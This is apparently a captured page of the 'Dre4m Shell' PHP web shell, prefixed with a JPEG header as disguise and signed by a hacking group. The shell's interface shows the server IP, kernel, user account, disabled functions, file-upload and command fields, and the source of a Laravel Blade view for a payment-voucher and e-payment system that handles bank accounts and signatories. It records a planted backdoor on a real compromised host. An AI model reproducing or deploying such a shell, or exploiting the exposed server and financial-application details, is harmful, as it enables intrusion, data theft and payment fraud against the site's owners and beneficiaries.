ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.222.167.75
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/nicnModuleViews/epaymentShedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/nicnModuleViews/epaymentShedule/generateEpaymentReportMerge.blade.php
@extends('layouts.layout')
@section('pageTitle')
	{{strtoupper("List of Merge Vouchers")}}
@endsection
@section('content')
	<div class="box-body">
		<div class="row">
			<div class="col-md-12">
				@if (count($errors) > 0)
					<div class="alert alert-danger alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
						</button>
						<strong>Error!</strong>
						@foreach ($errors->all() as $error)
							<p>{{ $error }}</p>
						@endforeach
					</div>
				@endif

				@if(session('msg'))
					<div class="alert alert-success alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
						</button>
						<strong>Success!</strong>
						{!!  session('msg') !!}
					</div>
				@endif

				@if(session('err'))
					<div class="alert alert-warning alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
						</button>
						<strong>Error Occured!</strong>
						{!! session('err') !!}
					</div>
				@endif

			</div>


		</div><!-- /.col -->
		<form method="post" action="{{url('/report/e-payment')}}">
			{{ csrf_field() }}
			<div class="row">
				<div class="col-md-6">
					<!--include('layouts._searchByDatePatialView')-->
				</div>
			</div>
		</form>
		<hr>

		<!--//start search record-->

		<div class="box-body" style="background-color: white;">
			
			<div>
				<Form id="allVoucherForm" method="post" action="{{route('prepareMergeEpayment') }}">
					{{ csrf_field() }}
					
				    <div align="center" class="alert" style="font-size: 20px; background: #f9f9f9;">
				        <strong>{{strtoupper('Generate E-payment From Merged Vouchers')}}</strong>
			        </div>
			        
					<div align="center" class="row" style="margin-right: 10px; margin-top: -10px;">
						<div class="col-md-3">
							<input type="checkbox" name="headBanner" value="1" style="width: 30px; height: 30px;">
							<span class="text-success">Remove Head Banner on E-payment Report</span>
						</div>
						@forelse($paymentBank as $listBank)
                            <div class="col-md-3">
							    <input type="radio" name="account" value="{{$listBank->bankID}}" style="width: 30px; height: 30px;">
							    <span class="text-success"><big>{{ $listBank->bank_name .': '. $listBank->account_no }}</big></span>
						    </div>
                        @empty
                        @endforelse
					</div>
					<hr />

					<div class="row"> 
						<div align="center" class="col-md-4">
							<button type="submit" name="generateEpayment" id="generateEpayment" class="btn btn-success"> Generate E-Payment <i class="fa fa-file"></i> </button>
						</div>
						<div align="center" class="col-md-4">
							<a href="{{ url('generate-epayment-report') }}"  class="btn btn-success"> Go back to list <i class="fa fa-back"></i> </a>
						</div>
						<div align="center" class="col-md-4">
            				<button type="button" class="btn btn-warning" id="startDeMergeVoucher">De-merge <i class="fa fa-copy"></i></button>
            			</div>
					</div>


					<!--//start temp voucher-->
					<hr />
					
					<div class="row">
						<!--<div class="col-md-12">
							<input type="text" id="myInput" class="form-control" onkeyup="myFunction()" placeholder="Search by Beneficiary/Name..." title="Type in a Beneficiary or name">
						</div>-->
					</div>
					<hr />
					<div>
						<table id="myTable" class="table table-hover table-striped table-responsive table-condensed table-bordered input-sm">
							<thead>
							<tr>
								<th>S/N</th>
								<th><input type="checkbox" tabindex="1" name="globalCheckbox" id="globalCheckbox"></th>
								<th>{{strtoupper("Beneficiary's Name")}}</th>
								<th>{{strtoupper("Bank")}}</th>
								<th>{{strtoupper("Account No.")}}</th>
								<th>{{strtoupper('Sort Code')}}</th>
								<th>{{strtoupper('Amount')}} &#8358;</th>
							    <th>{{strtoupper('Description')}}</th>
							    <th>{{strtoupper('Merged Record')}}</th>
							    <th>{{strtoupper('Date')}}</th>
							</tr>
							</thead>

							<tbody style="max-height: 200px; overflow-y: auto;">
							@if(count($mergedVoucher) > 0)
								@php $countNull = 1;  @endphp
								@foreach ($mergedVoucher as $key=>$listMerge)
									<tr>
										<td>
											{{ 1 + $key}}
										</td>
										
										<td>
											<input type="checkbox" tabindex="1" name="beneficiaryID[]" id="{{$listMerge->transactionID}}" value="{{$listMerge->transactionID}}" class="beneficiaryArray checkBox">
										</td>
    									<td>
    									    <a href="#" data-toggle="modal" data-target="#editVoucherModal{{$listMerge->transactionID}}">{{ $listMerge->new_marger_record_name}}</a>
    									</td>
    									<td>
    									    <a href="#" data-toggle="modal" data-target="#editVoucherModal{{$listMerge->transactionID}}">{{ $listMerge->bank_name }}</a>
    									</td>
    									<td>
    									    <a href="#" data-toggle="modal" data-target="#editVoucherModal{{$listMerge->transactionID}}">{{ $listMerge->account_no }}</a>
    									</td>
    									<td>
    									    <a href="#" data-toggle="modal" data-target="#editVoucherModal{{$listMerge->transactionID}}">{{ $listMerge->sort_code }}</a>
    									</td>
    									<td>
    										<a href="#" data-toggle="modal" data-target="#editVoucherModal{{$listMerge->transactionID}}">{{ number_format( $listMerge->merge_amount, 2) }}</a>
    									</td> 
    
    									<td>
    									   <a href="#" data-toggle="modal" data-target="#editVoucherModal{{$listMerge->transactionID}}">{{ $listMerge->payment_description }}</a>
    									</td>
    									
    									<td>
    									   <a href="#" data-toggle="modal" data-target="#editVoucherModal{{$listMerge->transactionID}}">{{ $totalMergedVoucher[$key][$listMerge->transactionID] }}</a>
    									</td>
    
    		                            <td>
    										<a href="#" data-toggle="modal" data-target="#editVoucherModal{{$listMerge->transactionID}}">{{$listMerge->create_at}}</a>
    									</td>
    									
								</tr>
								
								    <!--Edit  Voucher for Epayment by JSON-->
                            		<div class="modal fade" id="editVoucherModal{{$listMerge->transactionID}}" role="dialog" aria-hidden="true">
                            			<div class="modal-dialog">
                            				<div class="modal-content">
                            					<div class="modal-header" style="background: gray; color: white; border: 1px solid white;">
                            						<button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                            						<h4 class="modal-title">Edit Voucher</h4>
                            					</div>
                            					<div class="modal-body col-sm-12" style="padding: 10px;">
                            						<div class="row" style="background: #FFFFFF; margin: 5px;">
                            							
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div class="col-md-12">
                            									Beneficiary
                            									<input type="text" class="form-control" name="beneficiary" id="beneficiary{{$listMerge->transactionID}}" value="{{ $listMerge->new_marger_record_name}}" />
                            								</div>
                            							</div>
                            							
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div class="col-md-6">
                            									Bank Name
                            									<input type="text" name="bankName" id="bankName{{$listMerge->transactionID}}" value="{{ $listMerge->bank_name }}" class="form-control" />
                            								</div>
                            								<div class="col-md-6">
                            									Account Number
                            									<input type="text" name="accountNumber" id="accountNumber{{$listMerge->transactionID}}" class="form-control" value="{{ $listMerge->account_no }}" />
                            								</div>
                            							</div>
                            							
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div class="col-md-6">
                            									Sort Code
                            									<input type="text" name="sortCode" id="sortCode{{$listMerge->transactionID}}" class="form-control" value="{{ $listMerge->sort_code }}" />
                            								</div>
                            								<div class="col-md-6">
                            									Amount
                            									<input type="text" name="amount{{$listMerge->transactionID}}" id="amount{{$listMerge->transactionID}}" class="form-control" value="{{ $listMerge->merge_amount}}" />
                            								</div>
                            							</div>
                            							
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div class="col-md-12">
                            									Payment Description
                            									<textarea name="description" id="description{{$listMerge->transactionID}}" class="form-control">{{ $listMerge->payment_description }}</textarea>
                            								</div>
                            							</div>  
                            							
                            						</div>
                            						<hr />
                            					</div>
                            					<div class="modal-footer">
                            						<button type="button" class="btn btn-success updateMergeVoucher" id="{{$listMerge->transactionID}}"> Update <i clas="fa fa-file"></i></button>
                            						<button type="button" class="btn btn-default" data-dismiss="modal"> Cancel </button>
                            					</div>
                            				</div>
                            			</div>
                            		</div>
                            		
                            	<!-- //end edit -->
	
								@endforeach
								<tr>
									<td colspan="11">
										<div align="right" class="hidden-print">Total Record: {{ count($mergedVoucher) }}</div>
									</td>
								</tr>
							@else
							    <tr>
									<td colspan="11">
										<div align="center" class="text-danger">No Record Found!</div>
									</td>
								</tr>
							@endif
							</tbody>
						</table>
					</div><!--//end temp voucher-->
					<hr />
					
                    <!--start adding more beneficiary to epayment-->
                       
        				<table class="table table-bordered table-condensed">
        					<td width="27%">
        					    <input type="text" id="moreBeneficiary" class="form-control" style="border: none;" placeholder="Beneficiary">
        					</td>
        					<td width="15%">
        					    <input type="text" id="moreBankName" class="form-control" style="border: none;" placeholder="Bank">
        					</td>
        					<td width="15%">
        					    <input type="text" id="moreAccountNumber" class="form-control" style="border: none;" placeholder="Account No.">
        					</td>
        					<td width="10%">
        					    <input type="text" id="moreSortCode" class="form-control" style="border: none;" placeholder="Sort Code">
        					</td>
        					<td width="10%">
        					    <input type="text" id="moreAmount" class="form-control" style="border: none;" placeholder="Amount">
        					</td>
        					</td>
        					<td width="35%">
        					    <input type="text" id="moreDescription" class="form-control" style="border: none;" placeholder="Description">
        					</td>
        					
        					<td width="10%">
            				    <button  type="button" id="addMoreBeneficiaryToCapital" class="pull-right btn btn-info btn-sm hidden-print" title="Add More Beneficiary"> <i class="glyphicon glyphicon-plus"></i> <i class="fa fa-user"></i> Add </button>
    					   </td>
    					</table>
					   
                    <!--start adding more beneficiary to epayment-->
                    
					<div class="row">
						<div align="left" class="col-xs-6">
							<strong>Authorized Signatory</strong>
							<table class="table table-condensed table-responsive">
								<tr>
									<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
									<td align="left">&nbsp;&nbsp;&nbsp;
										<select name="firstAuthorized" style="border: 0; border-style: none; color: blue;">
											<option value="">Select</option>
											<option value=""></option>
											@foreach($allRecords as $list1)
												<option value="{{$list1 ->signatoryID}}">{{$list1 ->fullname}}</option>
											@endforeach
										</select>
									</td>
								</tr>
							</table>
							<strong>Authorized Signatory</strong>
							<table class="table table-condensed table-responsive">
								<tr>
									<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
									<td align="left">&nbsp;&nbsp;&nbsp;
										<select name="secondAuthorized" style="border: 0; border-style: none; color: blue;">
											<option value="">Select</option>
											<option value=""></option>
											@foreach($allRecords as $list2)
												<option value="{{$list2 ->signatoryID}}">{{$list2 ->fullname}}</option>
											@endforeach
										</select>
									</td>
								</tr>
							</table>
						</div>
						<div align="left" class="col-xs-6">
							<strong>Submited For Confirmation By</strong>
							<table class="table table-condensed table-responsive">
								<tr>
									<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
									<td align="left">&nbsp;&nbsp;&nbsp;
										<select name="submitedForConfirmationBy" style="border: 0; border-style: none; color: blue;">
											<option value="">Select</option>
											<option value=""></option>
											@foreach($allRecords as $list3)
												<option value="{{$list3 ->signatoryID}}">{{$list3 ->fullname}}</option>
											@endforeach
										</select>
									</td>
								</tr>

							</table>
							<strong>Confirmed Before Me</strong>
							<table class="table table-condensed table-responsive">
								<tr>
									<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
									<td align="left">&nbsp;&nbsp;&nbsp;
										<select name="confirmedBeforeMe" style="border: 0; border-style: none; color: blue;">
											<option value="">Select</option>
											<option value=""></option>
											@foreach($allRecords as $list4)
												<option value="{{$list4 ->signatoryID}}">{{$list4 ->fullname}}</option>
											@endforeach
										</select>
									</td>
								</tr>
							</table>
						</div>
					</div>

					<hr />
					<input type="hidden" name="mergeVoucher" id="mergeVoucher" />
					<!--//-->
					<input type="hidden" id="newBeneficiaryPost" name="newBeneficiaryPost" />
					<input type="hidden" id="newDescriptionPost" name="newDescriptionPost" />
					<input type="hidden" id="newBankNamePost" name="newBankNamePost" />
					<input type="hidden" id="newAccountNumberPost" name="newAccountNumberPost" />
					<input type="hidden" id="newSortCodePost" name="newSortCodePost" />
					<input type="hidden" id="newAmountPost" name="newAmountPost" />
					<!--//-->

					<div class="row">
					    <div align="center" class="col-md-4">
							<button type="submit" name="generateEpayment" id="generateEpayment" class="btn btn-success"> Generate E-Payment <i class="fa fa-file"></i> </button>
						</div>
						<div align="center" class="col-md-4">
							<a href="{{ url('generate-epayment-report') }}"  class="btn btn-success"> Go back to list <i class="fa fa-back"></i> </a>
						</div>
						<div align="center" class="col-md-4">
            				<button type="button" class="btn btn-warning" id="startDeMergeVoucher">De-merge <i class="fa fa-copy"></i></button>
            			</div>
					</div>
					<br />
				</form>
			</div>


	<br />

@stop


@section('scripts')
	<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script>
	<script type="text/javascript">
        //SELECT/DESELECT ALL CHECKBOX
        $(document).ready(function () {
            $('#globalCheckbox').click(function(){
                if($(this).prop("checked")) {
                    $(".checkBox").prop("checked", true);
                } else {
                    $(".checkBox").prop("checked", false);
                }
            });
        });
        //SELECT/DESELECT ALL CHECKBOX
        $(document).ready(function () {
            $('#globalCheckbox2').click(function(){
                if($(this).prop("checked")) {
                    $(".checkBox1").prop("checked", true);
                } else {
                    $(".checkBox1").prop("checked", false);
                }
            });
        });
    
        
         //Update merged voucher
        $(document).ready(function() {
            $('.updateMergeVoucher').click(function() {
                var recordID = this.id;
				$('#waitModal' + recordID).html('Pleas wait, updating in progress...').css('color', 'red');
                //JSON Request
                $.ajax({
                    url: murl + '/update-merged-voucher-by-Json',
                    type: "post",
                    data: {
                        'ID': recordID,
                        'newBeneficiary': $("#beneficiary" + recordID).val(),
                        'newDescription': $("#description" + recordID).val(),
                        'newBankName': $("#bankName" + recordID).val(),
                        'newAccountNumber': $("#accountNumber" + recordID).val(),
                        'newSortCode': $("#sortCode" + recordID).val(),
                        'newAmount': $("#amount" + recordID).val(),
                        '_token': $('input[name=_token]').val()
                    },
                    success: function (data) {
                        $('#waitModal' + recordID).html('Record updated successfully. Wait while System reloads...').css('color', 'green', 'font-size', '11');
                        location.reload();
                    }//end success
                })
            });
        });
        //ends update
        
        
        //DEMERGE
        $(document).ready(function() {
            $("#startDeMergeVoucher").click(function () {
                var beneficiaryArray = [];
                $('input.beneficiaryArray:checkbox:checked').each(function () {
                    beneficiaryArray.push(this.value);
                    //beneficiaryArray = $(this).val();
                });
                if(beneficiaryArray == ''){
                    alert('You have not selected any voucher to be desolved !');
                    return false;
                }
                //
                if(confirm("Are you sure you want to desolved these records ?")) {
                    $.ajax({
                        url: "{{url('/')}}" + '/demerge-voucher-json',
                        type: "post",
                        data: {
                            'beneficiaryArray': beneficiaryArray,
                            '_token': $('input[name=_token]').val()
                        },
                        success: function (data) {
                            alert(data);
                            location.reload();
                        }//end success
                    })
                }
            });
        });
        
        
        
         //Add More Beneficiary to Capital Voucher
        $(document).ready(function() {
            $('#addMoreBeneficiaryToCapital').click(function() {
                
                //JSON Request
                 if(confirm("Are you sure you want to continue with this operation ?")) {
                    $.ajax({
                        url: murl + '/epayment-add-more-beneficiary',
                        type: "post",
                        data: {
                            'beneficiary': $("#moreBeneficiary").val(),
                            'bankName': $("#moreBankName").val(),
                            'accountNumber': $("#moreAccountNumber").val(),
                            'sortCode': $("#moreSortCode").val(),
                            'amount': $("#moreAmount").val(),
                            'description': $("#moreDescription").val(),
                            '_token': $('input[name=_token]').val()
                        },
                        success: function (data) {
                           alert(data);
                            location.reload();
                        }//end success
                    })
               }
            });
        });
        //ends Add More Beneficiary


       
	</script>
	<!--include ('layouts._searchByDatePatialCpo')-->
@stop

@section('styles')
	<style type="text/css">

	</style>

	<!-- Include Required Prerequisites -->
	<link rel="stylesheet" type="text/css" href="//cdn.jsdelivr.net/bootstrap/3/css/bootstrap.css" />
	<!-- Include Date Range Picker -->
	<link rel="stylesheet" type="text/css" href="//cdn.jsdelivr.net/bootstrap.daterangepicker/2/daterangepicker.css" />

@stop

Anon7 - 2022
AnonSec Team